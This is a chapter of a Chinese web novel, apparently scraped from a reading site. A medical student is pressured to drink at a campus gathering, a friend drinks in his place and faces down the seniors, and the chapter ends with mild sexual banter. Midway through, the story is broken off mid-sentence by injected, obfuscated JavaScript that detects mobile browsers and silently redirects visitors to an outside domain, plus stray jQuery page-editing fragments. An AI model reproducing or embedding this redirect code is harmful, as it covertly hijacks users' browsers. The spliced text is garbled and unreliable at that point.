“来来来,陆屿。”
邱鸣喊得很大声,到了近前,直接递给陆屿一瓶酒:“下午的事我跟你说声抱歉,学长来敬你一杯。”
“你大人不记小人过,可别和学长计较哈。”
这里的声音有些引人注目。
邱鸣的身边还跟着几个人,是和他同年级的大四学生。
陆屿下意识皱了皱眉,没有去接那瓶已经开了瓶口的啤酒。
“我没往心里去,学长,喝酒就不用了。”
陆屿顿了顿:“而且我也不会喝酒。”
“不会喝酒学啊,谁都是从不会喝酒过来的。”
邱鸣没说话,他旁边的几人开了口。
“陆学弟,就像今天,聚个餐什么的,大家都喝酒,就你一个人不喝酒,会显得很不合群吧?要不然你从现在开始喝酒?”
“是啊,喝个酒而已,这啤酒又不是白酒,度数也不高,也不难喝。”
“陆屿,我们邱哥好歹也是你学长,还特意跑过来跟你道歉,你这么说,是不是太不给面子了?怎么跟你敬个酒就这么难?”
周围聚集过来的视线越来越多。
赵逐之一边问着怎么了,一边往这里走。
但还没走近,就被邱鸣身边的人拦住。
“我们就是在和学弟交流下做人的道理,你别多管闲事。”
邱鸣则看向陆屿:“学弟,你不会真一点面子都不给吧?”
“不过是喝个酒,你不会连这种事也要死性子到底吧?陆屿,你这可就没意思——”
“怎么就死性子了。”
一只手横穿过来,直接抢过邱鸣手里的酒瓶,里面酒水晃荡,从窄口中溅出几滴来,掉落在白皙的手背上。
“如果邱同学你是因为陆屿不想占女生便宜,而你却借此讥讽陆屿假客气的事情而道歉,那就好好道歉就行了,怎么别人不愿意喝酒,过来道歉的反倒还要逼人家喝酒?不知道的还以为先前是陆屿故意刁难你呢。”
顾绒晃了晃手里的酒,低头看了眼,这酒度数是不高,但量多,直接拿个酒瓶子过来,想让陆屿都对瓶吹掉?
酒精这种东西,一旦染上,就很难戒掉了。
这点顾绒深有体会。
不过他也没想过要戒就是了。
到这个世界的时候,他就曾和陆屿说过,酒是个好东西,在某些时候。
他说的是真心话。
不过那时候陆屿大概以为他那样说,只不过是为了故意为难他罢了。
想罢,顾绒皱了皱鼻子,抬手把酒往自己嘴里灌。
“顾绒你干什么——”
顾绒喝了几口酒,胳膊就被陆屿拉了下来,转头一看,陆屿脸色都变了。
“没干什么,想喝而已。”
转头看向脸色骤然间难看起来的邱鸣,顾绒又抬了抬下巴:“这酒就算我替他喝了。”
“一个医生,还是不要贪酒的好,尤其是还要一下子喝这么多酒。”
陆屿听着不由得一怔,一直盯着顾绒看起来。
“酒喝多了腐蚀身体,到时候你的手术刀还能拿得稳吗。”
邱鸣皮笑肉不笑道:“偶尔喝点酒而已,有些夸张了吧。”
“夸张吗。”
顾绒晃了晃酒瓶子:“也是,像邱同学你这种确实不用太在意,所以你可能不了解,像陆屿这种省状元考进医科大学的,一进来就作为尖子生培养,以后注定要往精高端的专业方向发展,稍不注意就可能行差踏错,肯定要万事小心注意些才行。”
“你能理解吧,邱同学?”
理解尼玛的。
邱鸣现在连假笑都笑不出来了。
旁边人也脸色难看到问顾绒是什么意思。
这简直是把他们都扫射了个遍。
顾绒耸了耸肩:“实话实说而已,难道这不是事实?”
事实......当然是事实。
一般很少有省状元选择他们医科大学的,基本上都是被国内数一数二的院校抢走,虽然他们医科大学也很不错,在医学专业领域内位列前茅,但还真少有省状元进来,所以可想而知,今年陆屿这个省状元进入医科大,究竟能引起多大的风波。
这位可是个金饽饽啊,要不然不会才大一就遭一众导师主动去抢人。
这样的人才,哪怕他们大二大三大四的,都难免有几分在意和嘀咕。
都是高分考进来的。
但人比人,就是能气死人。
进大学后,更能发现人和人之间的差距究竟能有多大。
像陆屿这样的,更是招眼。
如果不是对方平时行事作风低调,怕是身边能有不少事出来。
不过对方愿意低调,他们也就当不在意。
可现在被人提出来这个事实,还当众落了脸面,又实在没有可反驳的,就无疑让人难以忍受了。
但顾绒什么身份。
他现在要护着陆屿,哪怕他们不是一个学校的,可邱鸣等人在顾绒面前也当真是不好发作什么。
邱鸣不由得咬了咬牙。
还是有些不甘心。
他这面子难道就真找不回来了?
回去之后一定成别人的笑柄了!
其他人还好说,在顾绒的逼视下只能咽下这口气,但邱鸣......
眼看着邱鸣还要开口,顾绒直接嗤了一声。
“我也算是给你台阶下了,邱鸣,别给脸不要脸。”
啪嗒。
顾绒直接将手中的酒瓶子摔到了地上。
玻璃碎裂,酒水汩汩淌了出来。
“多想想你的前途,要见习了吧?”
邱鸣骤然神情一凛,犹如一盆冷水劈头盖脸地兜头浇下,脸色甚至都有些发白。
他终于想起了顾家旗下就涉及医药行业。
甚至在他们医科大学都有股份。
他是昏了头了才要和顾绒作对吧?!
再不敢有别的想法了。
甚至最后灰溜溜离开时,邱鸣都不知道自己说了什么告饶的话。
还管讨不讨得回面子?
能不被顾绒“惦记上”就谢天谢地了。
等邱鸣几人离开,赵逐之过来说话,陆屿才慢慢收回定格在顾绒身上的目光。
他知道自己某些方面性格并不讨喜。
在这种绝大多数人都觉得无关紧要的事情上固执己见,不仅很难被人理解,还容易招人反感。
但就像顾绒说的,他怕行差踏错。
所以某些方面固执些又何妨。
他也不需要别人来理解。
但陆屿没想到,有一天,他会从别人嘴里听到他内心的声音,而说出这种话的人,竟然还是顾绒。
明明顾绒先前也同样逼他喝过酒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15659302|172527||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
怎么现在却......
“这么看着我干什么?”
直到顾绒开口,陆屿才意识到自己又在看顾绒。
吃过烧烤,他们来到山顶准备看灯光秀,这里有些冷,还有些暗,也不知道顾绒是怎么发现的。
“为什么替我喝酒?”
顾绒歪头想了想:“那我不喝的话,你会喝吗?”
陆屿摇头:“不会,这是原则性问题。”
而且邱鸣那种人也不值得他喝酒。
“是了,你都不喝我的酒,当然更不能喝别人的酒了,要不然我多没面子。”顾绒耸了耸肩。
这理由说服不了陆屿。
“那也不用你来替我喝酒。”
“都说了是我想喝了。”
“顾绒——”
“陆屿,你是不是很想当医生?”
顾绒的问题让陆屿一怔,反应过来后,陆屿嗯了一声。
“为什么?”
陆屿想了想:“可能觉得医生救死扶伤很伟大。”
说完,他似乎有些不好意思,抿了抿唇,看向顾绒:“是不是很虚无的回答?”
但出乎意料的是,顾绒神色却很认真。
“怎么会。”
顾绒低声道:“能挽救生命的存在,怎么会不伟大。”
“所以你以后想救很多人?”
“我不知道。”
陆屿开口道:“我不知道我能救多少人,我也不敢说我能救很多人,而且救死扶伤这种行为虽然很伟大,但我也并不觉得自己能成为一个伟大的人,我只是觉得......成为一个医生,更像是直接同命运作斗争,险境求生,逆境求存,可能,更有价值吧。”
“嗯。”
顾绒紧了紧身上的衣服,缓缓吐出一口气:“那你就好好当一个医生吧。”
话落的瞬间,轻微的电流声啪啪响起。
霓光闪烁,光晕四散,山顶的石壁犹如一块幕布,骤然折射出令人眩晕的光彩来。
周围惊呼声响起,随即被开场的灯光秀所吸引。
好像一瞬间变得热烈又嘈杂起来。
然而陆屿的目光却在顾绒身上挪不开。
“我觉得你以后一定会成为一个出色的医生。”
霓虹灯光下,顾绒抬起头对陆屿笑着开口:“能坚守自己所定下的原则,不是谁都能做到的。”
——尤其是在这样一个,大多数都习惯随波逐流的世界中。
陆屿喉结滑动。
突然感觉灯光秀放的音乐实在太震荡了。
不然他的胸腔怎么引起共鸣,甚至比音乐的节奏还要快?
“哦对了,今天只能给你的服务打三星了。”
陆屿一怔:“什么三星?”
顾绒哼哼一声:“还能是什么啊,教了你那么半天,结果还是把我弄通了,你自己平时都不怎么弄吗?”
“哦,也是,毕竟我弄你的时候,你很快就出来唔——”
陆屿咬着牙捂住顾绒的嘴,反击道:“你怎么不说是你那里太嫩——”
顾绒挑了挑眉,一副“我就是这么嫩”的表情。
又垂眼往陆屿下面瞅了眼,接着又眼睛一翻——你以为谁都和你一样啊。
还好快,要不然他手都要酸了。
陆屿:“。”
算了,说不过。